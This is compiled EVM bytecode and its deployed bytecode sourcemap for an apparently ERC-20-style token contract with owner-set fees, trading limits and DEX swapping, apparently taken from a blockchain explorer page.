87565b60006106f68284611e9e565b600060208083528351808285015260005b81811015611c1457858101830151858201604001528201611bf8565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610d2b57600080fd5b60008060408385031215611c5d57600080fd5b8235611c6881611c35565b946020939093013593505050565b600080600060608486031215611c8b57600080fd5b8335611c9681611c35565b92506020840135611ca681611c35565b929592945050506040919091013590565b80358015158114611cc757600080fd5b919050565b60008060408385031215611cdf57600080fd5b8235611cea81611c35565b9150611cf860208401611cb7565b90509250929050565b60008060008060808587031215611d1757600080fd5b5050823594602084013594506040840135936060013592509050565b600060208284031215611d4557600080fd5b81356106f681611c35565b600060208284031215611d6257600080fd5b6106f682611cb7565b60008060408385031215611d7e57600080fd5b8235611d8981611c35565b91506020830135611d9981611c35565b809150509250929050565b600181811c90821680611db857607f821691505b602082108103611dd857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8082018082111561064657610646611dde565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611e4e57600080fd5b81516106f681611c35565b600080600060608486031215611e6e57600080fd5b8351925060208401519150604084015190509250925092565b808202811582820484141761064657610646611dde565b600082611ebb57634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561064657610646611dde565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f395784516001600160a01b031683529383019391830191600101611f14565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212204bf6c736999caaf4a23a6a7c1d2816c3fe28033a7386645d9292e87978e938ab64736f6c63430008130033

Deployed Bytecode Sourcemap

15138:15355:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18320:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;19140:152;;;;;;;;;;-1:-1:-1;19140:152:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;19140:152:0;1023:187:1;18590:91:0;;;;;;;;;;-1:-1:-1;18661:12:0;;18590:91;;;1361:25:1;;;1349:2;1334:18;18590:91:0;1215:177:1;19300:512:0;;;;;;;;;;-1:-1:-1;19300:512:0;;;;;:::i;:::-;;:::i;18506:76::-;;;;;;;;;;-1:-1:-1;18506:76:0;;18572:2;2000:36:1;;1988:2;1973:18;18506:76:0;1858:184:1;23601:246:0;;;;;;;;;;-1:-1:-1;23768:13:0;;23805:9;;23834:5;;23768:13;;;;;23601:246;;;;2268:14:1;;2261:22;2243:41;;2315:2;2300:18;;2293:34;;;;2343:18;;;2336:34;2231:2;2216:18;23601:246:0;2047:329:1;19820:282:0;;;;;;;;;;-1:-1:-1;19820:282:0;;;;;:::i;:::-;;:::i;21228:202::-;;;;;;;;;;-1:-1:-1;21228:202:0;;;;;:::i;:::-;;:::i;:::-;;16078:34;;;;;;;;;;-1:-1:-1;16078:34:0;;;;;;;;23235:358;;;;;;;;;;-1:-1:-1;23476:15:0;;23522:16;;23569;;23476:15;;;;;;;23235:358;;22416:811;;;;;;;;;;-1:-1:-1;22416:811:0;;;;;:::i;:::-;;:::i;18689:110::-;;;;;;;;;;-1:-1:-1;18689:110:0;;;;;:::i;:::-;-1:-1:-1;;;;;18773:18:0;18746:7;18773:18;;;:9;:18;;;;;;;18689:110;12075:103;;;;;;;;;;;;;:::i;21091:129::-;;;;;;;;;;;;;:::i;29499:79::-;;;;;;;;;;-1:-1:-1;29499:79:0;;;;;:::i;:::-;;:::i;11424:87::-;;;;;;;;;;-1:-1:-1;11470:7:0;11497:6;-1:-1:-1;;;;;11497:6:0;11424:87;;;-1:-1:-1;;;;;3857:32:1;;;3839:51;;3827:2;3812:18;11424:87:0;3693:203:1;18411:87:0;;;;;;;;;;;;;:::i;21658:750::-;;;;;;;;;;;;;:::i;20110:467::-;;;;;;;;;;-1:-1:-1;20110:467:0;;;;;:::i;:::-;;:::i;18807:158::-;;;;;;;;;;-1:-1:-1;18807:158:0;;;;;:::i;:::-;;:::i;24440:453::-;;;;;;;;;;-1:-1:-1;24440:453:0;;;;;:::i;:::-;-1:-1:-1;;;;;24723:26:0;24565:23;24723:26;;;:17;:26;;;;;;;;;24783:19;:28;;;;;;24851:25;:34;;;;;;24723:26;;;;;24783:28;;;;24851:34;;24440:453;;;;;4110:14:1;;4103:22;4085:41;;4169:14;;4162:22;4157:2;4142:18;;4135:50;4228:14;4221:22;4201:18;;;4194:50;4073:2;4058:18;24440:453:0;3901:349:1;21438:212:0;;;;;;;;;;-1:-1:-1;21438:212:0;;;;;:::i;:::-;;:::i;23855:577::-;;;;;;;;;;-1:-1:-1;24198:11:0;;24239:15;;24282:13;;24322:12;;24365:16;;24410:14;;23855:577;;;4542:25:1;;;4598:2;4583:18;;4576:34;;;;4626:18;;;4619:34;;;;4684:2;4669:18;;4662:34;4727:3;4712:19;;4705:35;4771:3;4756:19;;4749:35;4529:3;4514:19;23855:577:0;4255:535:1;18973:159:0;;;;;;;;;;-1:-1:-1;18973:159:0;;;;;:::i;:::-;-1:-1:-1;;;;;19097:18:0;;;19070:7;19097:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;18973:159;15260:22;;;;;;;;;;-1:-1:-1;15260:22:0;;;;-1:-1:-1;;;;;15260:22:0;;;12333:238;;;;;;;;;;-1:-1:-1;12333:238:0;;;;;:::i;:::-;;:::i;18320:83::-;18357:13;18390:5;18383:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;18320:83;:::o;19140:152::-;19206:4;19223:39;10853:10;19246:7;19255:6;19223:8;:39::i;:::-;-1:-1:-1;19280:4:0;19140:152;;;;;:::o;19300:512::-;19423:4;19440:36;19450:6;19458:9;19469:6;19440:9;:36::i;:::-;-1:-1:-1;;;;;19516:19:0;;19489:24;19516:19;;;:11;:19;;;;;;;;10853:10;19516:33;;;;;;;;19582:26;;;;19560:116;;;;-1:-1:-1;;;19560:116:0;;5775:2:1;19560:116:0;;;5757:21:1;5814:2;5794:18;;;5787:30;5853:34;5833:18;;;5826:62;-1:-1:-1;;;5904:18:1;;;5897:38;5952:19;;19560:116:0;;;;;;;;;19712:57;19721:6;10853:10;19762:6;19743:16;:25;19712:8;:57::i;:::-;19800:4;19793:11;;;19300:512;;;;;;:::o;19820:282::-;10853:10;19925:4;20014:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;20014:34:0;;;;;;;;;;19925:4;;19942:130;;19992:7;;20014:47;;20051:10;;20014:47;:::i;:::-;19942:8;:130::i;21228:202::-;11470:7;11497:6;-1:-1:-1;;;;;11497:6:0;10853:10;11644:23;11636:68;;;;-1:-1:-1;;;11636:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;21341:27:0;::::1;;::::0;;;:19:::1;:27;::::0;;;;;;;;:34;;-1:-1:-1;;21341:34:0::1;::::0;::::1;;::::0;;::::1;::::0;;;21391:31;;1163:41:1;;;21391:31:0::1;::::0;1136:18:1;21391:31:0::1;;;;;;;;21228:202:::0;;:::o;22416:811::-;11470:7;11497:6;-1:-1:-1;;;;;11497:6:0;10853:10;11644:23;11636:68;;;;-1:-1:-1;;;11636:68:0;;;;;;;:::i;:::-;22600:15:::1;:34:::0;;;22645:13:::1;:26:::0;;;22696:31:::1;22661:10:::0;22618:16;22696:31:::1;:::i;:::-;22682:11;:45:::0;22740:16:::1;:36:::0;;;22787:14:::1;:28:::0;;;22841:33:::1;22804:11:::0;22759:17;22841:33:::1;:::i;:::-;22826:12;:48:::0;;;22923:2:::1;-1:-1:-1::0;22907:18:0;::::1;::::0;:39:::1;;;22944:2;22929:11;;:17;;22907:39;22885:124;;;::::0;-1:-1:-1;;;22885:124:0;;6807:2:1;22885:124:0::1;::::0;::::1;6789:21:1::0;6846:2;6826:18;;;6819:30;6885:34;6865:18;;;6858:62;-1:-1:-1;;;6936:18:1;;;6929:33;6979:19;;22885:124:0::1;6605:399:1::0;22885:124:0::1;23052:11;::::0;23078:15:::1;::::0;23108:13:::1;::::0;23136:12:::1;::::0;23163:16:::1;::::0;23194:14:::1;::::0;23027:192:::1;::::0;;4542:25:1;;;4598:2;4583:18;;4576:34;;;;4626:18;;;4619:34;;;;4684:2;4669:18;;4662:34;4727:3;4712:19;;4705:35;4771:3;4756:19;;4749:35;23027:192:0::1;::::0;4529:3:1;4514:19;23027:192:0::1;;;;;;;22416:811:::0;;;;:::o;12075:103::-;11470:7;11497:6;-1:-1:-1;;;;;11497:6:0;10853:10;11644:23;11636:68;;;;-1:-1:-1;;;11636:68:0;;;;;;;:::i;:::-;12140:30:::1;12167:1;12140:18;:30::i;:::-;12075:103::o:0;21091:129::-;11470:7;11497:6;-1:-1:-1;;;;;11497:6:0;10853:10;11644:23;11636:68;;;;-1:-1:-1;;;11636:68:0;;;;;;;:::i;:::-;21145:13:::1;:21:::0;;-1:-1:-1;;21145:21:0::1;::::0;;21182:30:::1;::::0;21196:15:::1;::::0;21182:30:::1;::::0;21161:5:::1;::::0;21182:30:::1;21091:129::o:0;29499:79::-;11470:7;11497:6;-1:-1:-1;;;;;11497:6:0;10853:10;11644:23;11636:68;;;;-1:-1:-1;;;11636:68:0;;;;;;;:::i;:::-;29558:4:::1;:12:::0;;-1:-1:-1;;29558:12:0::1;::::0;::::1;;::::0;;;::::1;::::0;;29499:79::o;18411:87::-;18450:13;18483:7;18476:14;;;;;:::i;21658:750::-;11470:7;11497:6;-1:-1:-1;;;;;11497:6:0;10853:10;11644:23;11636:68;;;;-1:-1:-1;;;11636:68:0;;;;;;;:::i;:::-;21719:14:::1;::::0;::::1;;21718:15;21710:54;;;::::0;-1:-1:-1;;;21710:54:0;;7211:2:1;21710:54:0::1;::::0;::::1;7193:21:1::0;7250:2;7230:18;;;7223:30;7289:28;7269:18;;;7262:56;7335:18;;21710:54:0::1;7009:350:1::0;21710:54:0::1;21795:4;21775:26;::::0;;;:11:::1;:26;::::0;;;;;;;21810:9:::1;-1:-1:-1::0;;;;;21775:46:0::1;::::0;;;;;;;;;;-1:-1:-1;;21775:66:0;;21876:19;;-1:-1:-1;;;21876:19:0;;;;:17:::1;::::0;:19:::1;::::0;;::::1;::::0;21775:26;;21876:19;;;;;;21775:46;21876:19:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;21864:43:0::1;;21922:9;-1:-1:-1::0;;;;;21922:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21864:113;::::0;-1:-1:-1;;;;;;21864:113:0::1;::::0;;;;;;-1:-1:-1;;;;;7850:15:1;;;21864:113:0::1;::::0;::::1;7832:34:1::0;21961:4:0::1;7882:18:1::0;;;7875:43;7767:18;;21864:113:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;21854:7;:123:::0;;-1:-1:-1;;;;;;21854:123:0::1;-1:-1:-1::0;;;;;21854:123:0;;::::1;::::0;;::::1;::::0;;-1:-1:-1;21988:43:0;;;:25:::1;:43;::::0;;;;:50;;-1:-1:-1;;21988:50:0::1;::::0;::::1;::::0;;22081:7;;22049:47:::1;::::0;22081:7:::1;::::0;22049:23:::1;:47::i;:::-;22150:4;22109:20;22132:24:::0;;;:9:::1;:24;::::0;;;;;;22169:9:::1;-1:-1:-1::0;;;;;22169:25:0::1;::::0;::::1;::::0;22202:21:::1;::::0;22132:24;;22109:20;22326:7:::1;11470::::0;11497:6;-1:-1:-1;;;;;11497:6:0;;11424:87;22326:7:::1;22169:205;::::0;::::1;::::0;;;-1:-1:-1;;;;;;22169:205:0;;;-1:-1:-1;;;;;8288:15:1;;;22169:205:0::1;::::0;::::1;8270:34:1::0;8320:18;;;8313:34;;;;8363:18;;;8356:34;;;;8406:18;;;8399:34;8470:15;;;8449:19;;;8442:44;22348:15:0::1;8502:19:1::0;;;8495:35;8204:19;;22169:205:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;22387:13;:11;:13::i;:::-;21699:709;21658:750::o:0;20110:467::-;10853:10;20220:4;20264:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;20264:34:0;;;;;;;;;;20331:35;;;;20309:122;;;;-1:-1:-1;;;20309:122:0;;9054:2:1;20309:122:0;;;9036:21:1;9093:2;9073:18;;;9066:30;9132:34;9112:18;;;9105:62;-1:-1:-1;;;9183:18:1;;;9176:35;9228:19;;20309:122:0;8852:401:1;20309:122:0;20467:67;10853:10;20490:7;20518:15;20499:16;:34;20467:8;:67::i;:::-;-1:-1:-1;20565:4:0;;20110:467;-1:-1:-1;;;20110:467:0:o;18807:158::-;18876:4;18893:42;10853:10;18917:9;18928:6;18893:9;:42::i;21438:212::-;11470:7;11497:6;-1:-1:-1;;;;;11497:6:0;10853:10;11644:23;11636:68;;;;-1:-1:-1;;;11636:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;21555:26:0;::::1;;::::0;;;:17:::1;:26;::::0;;;;;;;;:37;;-1:-1:-1;;21555:37:0::1;::::0;::::1;;::::0;;::::1;::::0;;;21608:34;;1163:41:1;;;21608:34:0::1;::::0;1136:18:1;21608:34:0::1;1023:187:1::0;12333:238:0;11470:7;11497:6;-1:-1:-1;;;;;11497:6:0;10853:10;11644:23;11636:68;;;;-1:-1:-1;;;11636:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;12436:22:0;::::1;12414:110;;;::::0;-1:-1:-1;;;12414:110:0;;9460:2:1;12414:110:0::1;::::0;::::1;9442:21:1::0;9499:2;9479:18;;;9472:30;9538:34;9518:18;;;9511:62;-1:-1:-1;;;9589:18:1;;;9582:36;9635:19;;12414:110:0::1;9258:402:1::0;12414:110:0::1;12535:28;12554:8;12535:18;:28::i;20585:338::-:0;-1:-1:-1;;;;;20679:19:0;;20671:68;;;;-1:-1:-1;;;20671:68:0;;9867:2:1;20671:68:0;;;9849:21:1;9906:2;9886:18;;;9879:30;9945:34;9925:18;;;9918:62;-1:-1:-1;;;9996:18:1;;;9989:34;10040:19;;20671:68:0;9665:400:1;20671:68:0;-1:-1:-1;;;;;20758:21:0;;20750:68;;;;-1:-1:-1;;;20750:68:0;;10272:2:1;20750:68:0;;;10254:21:1;10311:2;10291:18;;;10284:30;10350:34;10330:18;;;10323:62;-1:-1:-1;;;10401:18:1;;;10394:32;10443:19;;20750:68:0;10070:398:1;20750:68:0;-1:-1:-1;;;;;20831:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;20883:32;;1361:25:1;;;20883:32:0;;1334:18:1;20883:32:0;;;;;;;20585:338;;;:::o;24901:2374::-;-1:-1:-1;;;;;24990:18:0;;24982:68;;;;-1:-1:-1;;;24982:68:0;;10675:2:1;24982:68:0;;;10657:21:1;10714:2;10694:18;;;10687:30;10753:34;10733:18;;;10726:62;-1:-1:-1;;;10804:18:1;;;10797:35;10849:19;;24982:68:0;10473:401:1;24982:68:0;-1:-1:-1;;;;;25069:16:0;;25061:64;;;;-1:-1:-1;;;25061:64:0;;11081:2:1;25061:64:0;;;11063:21:1;11120:2;11100:18;;;11093:30;11159:34;11139:18;;;11132:62;-1:-1:-1;;;11210:18:1;;;11203:33;11253:19;;25061:64:0;10879:399:1;25061:64:0;25153:1;25144:6;:10;25136:47;;;;-1:-1:-1;;;25136:47:0;;11485:2:1;25136:47:0;;;11467:21:1;11524:2;11504:18;;;11497:30;11563:26;11543:18;;;11536:54;11607:18;;25136:47:0;11283:348:1;25136:47:0;25200:13;;;;25196:1564;;;11470:7;11497:6;-1:-1:-1;;;;;25252:15:0;;;11497:6;;25252:15;;;;:49;;-1:-1:-1;11470:7:0;11497:6;-1:-1:-1;;;;;25288:13:0;;;11497:6;;25288:13;;25252:49;:86;;;;-1:-1:-1;;;;;;25322:16:0;;;;25252:86;:128;;;;-1:-1:-1;;;;;;25359:21:0;;25373:6;25359:21;;25252:128;:158;;;;-1:-1:-1;25402:8:0;;;;25401:9;25252:158;25230:1519;;;25450:14;;;;25445:232;;-1:-1:-1;;;;;25523:23:0;;;;;;:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;25550:21:0;;;;;;:17;:21;;;;;;;;25523:48;25489:168;;;;-1:-1:-1;;;25489:168:0;;11838:2:1;25489:168:0;;;11820:21:1;11877:2;11857:18;;;11850:30;11916:34;11896:18;;;11889:62;-1:-1:-1;;;11967:18:1;;;11960:32;12009:19;;25489:168:0;11636:398:1;25489:168:0;-1:-1:-1;;;;;25751:31:0;;;;;;:25;:31;;;;;;;;:59;;;;-1:-1:-1;;;;;;25787:23:0;;;;;;:19;:23;;;;;;;;25786:24;25751:59;25725:1009;;;25897:5;;25887:6;:15;;25853:139;;;;-1:-1:-1;;;25853:139:0;;12241:2:1;25853:139:0;;;12223:21:1;12280:2;12260:18;;;12253:30;12319:34;12299:18;;;12292:62;-1:-1:-1;;;12370:18:1;;;12363:36;12416:19;;25853:139:0;12039:402:1;25853:139:0;26075:9;;-1:-1:-1;;;;;18773:18:0;;18746:7;18773:18;;;:9;:18;;;;;;26049:22;;:6;:22;:::i;:::-;:35;;26015:140;;;;-1:-1:-1;;;26015:140:0;;12648:2:1;26015:140:0;;;12630:21:1;12687:2;12667:18;;;12660:30;-1:-1:-1;;;12706:18:1;;;12699:49;12765:18;;26015:140:0;12446:343:1;26015:140:0;25725:1009;;;-1:-1:-1;;;;;26253:29:0;;;;;;:25;:29;;;;;;;;:59;;;;-1:-1:-1;;;;;;26287:25:0;;;;;;:19;:25;;;;;;;;26286:26;26253:59;26227:507;;;26399:5;;26389:6;:15;;26355:140;;;;-1:-1:-1;;;26355:140:0;;12996:2:1;26355:140:0;;;12978:21:1;13035:2;13015:18;;;13008:30;13074:34;13054:18;;;13047:62;-1:-1:-1;;;13125:18:1;;;13118:37;13172:19;;26355:140:0;12794:403:1;26227:507:0;-1:-1:-1;;;;;26526:23:0;;;;;;:19;:23;;;;;;;;26521:213;;26634:9;;-1:-1:-1;;;;;18773:18:0;;18746:7;18773:18;;;:9;:18;;;;;;26608:22;;:6;:22;:::i;:::-;:35;;26574:140;;;;-1:-1:-1;;;26574:140:0;;12648:2:1;26574:140:0;;;12630:21:1;12687:2;12667:18;;;12660:30;-1:-1:-1;;;12706:18:1;;;12699:49;12765:18;;26574:140:0;12446:343:1;26574:140:0;26797:16;;26787:26;;;;;;;26844:39;;-1:-1:-1;26868:15:0;;;;;;;26844:39;:65;;;;-1:-1:-1;26901:8:0;;;;26900:9;26844:65;:111;;;;-1:-1:-1;;;;;;26926:29:0;;;;;;:25;:29;;;;;;;;26844:111;:152;;;;-1:-1:-1;;;;;;26973:23:0;;;;;;:17;:23;;;;;;;;26972:24;26844:152;26826:284;;;27023:8;:15;;-1:-1:-1;;27023:15:0;27034:4;27023:15;;;27055:10;:8;:10::i;:::-;27082:8;:16;;-1:-1:-1;;27082:16:0;;;26826:284;27122:18;27143:29;27155:4;27161:2;27165:6;27143:11;:29::i;:::-;-1:-1:-1;;;;;27199:13:0;;;;;;:9;:13;;;;;;27122:50;;-1:-1:-1;27199:26:0;;27122:50;;27199:26;:::i;:::-;-1:-1:-1;;;;;27183:13:0;;;;;;;:9;:13;;;;;;;:42;;;;27241:26;;;;;;;;;;27260:6;1361:25:1;;1349:2;1334:18;;1215:177;27241:26:0;;;;;;;;24971:2304;;24901:2374;;;:::o;12731:191::-;12805:16;12824:6;;-1:-1:-1;;;;;12841:17:0;;;-1:-1:-1;;;;;;12841:17:0;;;;;;12874:40;;12824:6;;;;;;;12874:40;;12805:16;12874:40;12794:128;12731:191;:::o;20931:152::-;20974:14;:21;;-1:-1:-1;;20974:21:0;20991:4;20974:21;;;21006:15;:22;;-1:-1:-1;;21006:22:0;20974:21;21006:22;;;21044:31;;21059:15;;21044:31;;20974:14;;21044:31;20931:152::o;29586:904::-;29669:4;29625:23;18773:18;;;:9;:18;;;;;;29787:16;;18773:18;;;;29769:34;;29765:101;;;29838:16;;29820:34;;29765:101;30023:16;;29907:15;;29963:21;;30001:38;;29997:107;;30056:36;30073:18;30056:16;:36::i;:::-;30116:18;30137:44;:21;30163:17;30137:25;:44::i;:::-;30116:65;-1:-1:-1;30194:17:0;30214:83;30265:21;:17;30285:1;30265:21;:::i;:::-;30229:16;;30214:32;;:10;;:14;:32::i;:::-;:36;;:83::i;:::-;30331:1;30310:18;:22;;;30343:16;:20;;;30384:11;;30376:40;;30194:103;;-1:-1:-1;;;;;;30384:11:0;;30376:40;;;;;30194:103;;30376:40;;30331:1;30376:40;30194:103;30384:11;30376:40;;;;;;;;;;;;;;;;;;;;-1:-1:-1;30437:12:0;;30429:53;;-1:-1:-1;;;;;30437:12:0;;;;;;;;;30460:21;30429:53;;;;;;;;;30460:21;30437:12;30429:53;;;;;;;;;;;;;;;;;;;;;29614:876;;;;;;;29586:904::o;27283:1604::-;27434:8;;-1:-1:-1;;;;;27469:21:0;;27398:7;27469:21;;;:15;:21;;;;;;27398:7;;27434:8;;;;27433:9;;27469:21;27522:6;27541:58;;;;27577:10;-1:-1:-1;27570:17:0;;-1:-1:-1;;27570:17:0;27541:58;-1:-1:-1;;;;;27700:23:0;;;;;;:17;:23;;;;;;;;;:48;;-1:-1:-1;;;;;;27727:21:0;;;;;;:17;:21;;;;;;;;27700:48;27696:96;;;27775:5;27765:15;;27696:96;27804:12;27909:7;27905:894;;;-1:-1:-1;;;;;27961:29:0;;;;;;:25;:29;;;;;;;;:49;;;;;28009:1;27994:12;;:16;27961:49;27957:614;;;28038:33;28067:3;28038:24;28049:12;;28038:6;:10;;:24;;;;:::i;:33::-;28031:40;;28136:12;;28118:14;;28111:4;:21;;;;:::i;:::-;28110:38;;;;:::i;:::-;28090:16;;:58;;;;;;;:::i;:::-;;;;-1:-1:-1;;28217:12:0;;28197:16;;28190:23;;:4;:23;:::i;:::-;28189:40;;;;:::i;:::-;28167:18;;:62;;;;;;;:::i;:::-;;;;-1:-1:-1;27957:614:0;;-1:-1:-1;27957:614:0;;-1:-1:-1;;;;;28291:31:0;;;;;;:25;:31;;;;;;;;:50;;;;;28340:1;28326:11;;:15;28291:50;28287:284;;;28369:32;28397:3;28369:23;28380:11;;28369:6;:10;;:23;;;;:::i;:32::-;28362:39;;28465:11;;28448:13;;28441:4;:20;;;;:::i;:::-;28440:36;;;;:::i;:::-;28420:16;;:56;;;;;;;:::i;:::-;;;;-1:-1:-1;;28544:11:0;;28525:15;;28518:22;;:4;:22;:::i;:::-;28517:38;;;;:::i;:::-;28495:18;;:60;;;;;;;:::i;:::-;;;;-1:-1:-1;;28287:284:0;28591:8;;28587:166;;28665:4;28647:24;;;;:9;:24;;;;;;:31;;28674:4;;28647:31;:::i;:::-;28638:4;28620:24;;;;:9;:24;;;;;;;:58;;;;28702:35;;-1:-1:-1;;;;;28702:35:0;;;;;;;28732:4;1361:25:1;;1349:2;1334:18;;1215:177;28702:35:0;;;;;;;;28587:166;28769:18;28783:4;28769:18;;:::i;:::-;;;27905:894;-1:-1:-1;;;;;28827:15:0;;;;;;:9;:15;;;;;;:24;;28845:6;;28827:24;:::i;:::-;-1:-1:-1;;;;;28809:15:0;;;;;;:9;:15;;;;;:42;-1:-1:-1;28869:10:0;-1:-1:-1;;;27283:1604:0;;;;;:::o;28895:571::-;29045:16;;;29059:1;29045:16;;;;;;;;29021:21;;29045:16;;;;;;;;;;-1:-1:-1;29045:16:0;29021:40;;29090:4;29072;29077:1;29072:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;29072:23:0;;;-1:-1:-1;;;;;29072:23:0;;;;;29116:9;-1:-1:-1;;;;;29116:14:0;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;29106:4;29111:1;29106:7;;;;;;;;:::i;:::-;;;;;;:26;-1:-1:-1;;;;;29106:26:0;;;-1:-1:-1;;;;;29106:26:0;;;;;29145:56;29162:4;29177:9;29189:11;29145:8;:56::i;:::-;29240:218;;-1:-1:-1;;;29240:218:0;;-1:-1:-1;;;;;29240:9:0;:60;;;;:218;;29315:11;;29341:1;;29385:4;;29412;;29432:15;;29240:218;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28950:516;28895:571;:::o;4199:98::-;4257:7;4284:5;4288:1;4284;:5;:::i;4556:98::-;4614:7;4641:5;4645:1;4641;:5;:::i;4955:98::-;5013:7;5040:5;5044:1;5040;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2381:160::-;2446:20;;2502:13;;2495:21;2485:32;;2475:60;;2531:1;2528;2521:12;2475:60;2381:160;;;:::o;2546:315::-;2611:6;2619;2672:2;2660:9;2651:7;2647:23;2643:32;2640:52;;;2688:1;2685;2678:12;2640:52;2727:9;2714:23;2746:31;2771:5;2746:31;:::i;:::-;2796:5;-1:-1:-1;2820:35:1;2851:2;2836:18;;2820:35;:::i;:::-;2810:45;;2546:315;;;;;:::o;2866:385::-;2952:6;2960;2968;2976;3029:3;3017:9;3008:7;3004:23;3000:33;2997:53;;;3046:1;3043;3036:12;2997:53;-1:-1:-1;;3069:23:1;;;3139:2;3124:18;;3111:32;;-1:-1:-1;3190:2:1;3175:18;;3162:32;;3241:2;3226:18;3213:32;;-1:-1:-1;2866:385:1;-1:-1:-1;2866:385:1:o;3256:247::-;3315:6;3368:2;3356:9;3347:7;3343:23;3339:32;3336:52;;;3384:1;3381;3374:12;3336:52;3423:9;3410:23;3442:31;3467:5;3442:31;:::i;3508:180::-;3564:6;3617:2;3605:9;3596:7;3592:23;3588:32;3585:52;;;3633:1;3630;3623:12;3585:52;3656:26;3672:9;3656:26;:::i;4795:388::-;4863:6;4871;4924:2;4912:9;4903:7;4899:23;4895:32;4892:52;;;4940:1;4937;4930:12;4892:52;4979:9;4966:23;4998:31;5023:5;4998:31;:::i;:::-;5048:5;-1:-1:-1;5105:2:1;5090:18;;5077:32;5118:33;5077:32;5118:33;:::i;:::-;5170:7;5160:17;;;4795:388;;;;;:::o;5188:380::-;5267:1;5263:12;;;;5310;;;5331:61;;5385:4;5377:6;5373:17;5363:27;;5331:61;5438:2;5430:6;5427:14;5407:18;5404:38;5401:161;;5484:10;5479:3;5475:20;5472:1;5465:31;5519:4;5516:1;5509:15;5547:4;5544:1;5537:15;5401:161;;5188:380;;;:::o;5982:127::-;6043:10;6038:3;6034:20;6031:1;6024:31;6074:4;6071:1;6064:15;6098:4;6095:1;6088:15;6114:125;6179:9;;;6200:10;;;6197:36;;;6213:18;;:::i;6244:356::-;6446:2;6428:21;;;6465:18;;;6458:30;6524:34;6519:2;6504:18;;6497:62;6591:2;6576:18;;6244:356::o;7364:251::-;7434:6;7487:2;7475:9;7466:7;7462:23;7458:32;7455:52;;;7503:1;7500;7493:12;7455:52;7535:9;7529:16;7554:31;7579:5;7554:31;:::i;8541:306::-;8629:6;8637;8645;8698:2;8686:9;8677:7;8673:23;8669:32;8666:52;;;8714:1;8711;8704:12;8666:52;8743:9;8737:16;8727:26;;8793:2;8782:9;8778:18;8772:25;8762:35;;8837:2;8826:9;8822:18;8816:25;8806:35;;8541:306;;;;;:::o;13202:168::-;13275:9;;;13306;;13323:15;;;13317:22;;13303:37;13293:71;;13344:18;;:::i;13375:217::-;13415:1;13441;13431:132;;13485:10;13480:3;13476:20;13473:1;13466:31;13520:4;13517:1;13510:15;13548:4;13545:1;13538:15;13431:132;-1:-1:-1;13577:9:1;;13375:217::o;13597:128::-;13664:9;;;13685:11;;;13682:37;;;13699:18;;:::i;13862:127::-;13923:10;13918:3;13914:20;13911:1;13904:31;13954:4;13951:1;13944:15;13978:4;13975:1;13968:15;13994:980;14256:4;14304:3;14293:9;14289:19;14335:6;14324:9;14317:25;14361:2;14399:6;14394:2;14383:9;14379:18;14372:34;14442:3;14437:2;14426:9;14422:18;14415:31;14466:6;14501;14495:13;14532:6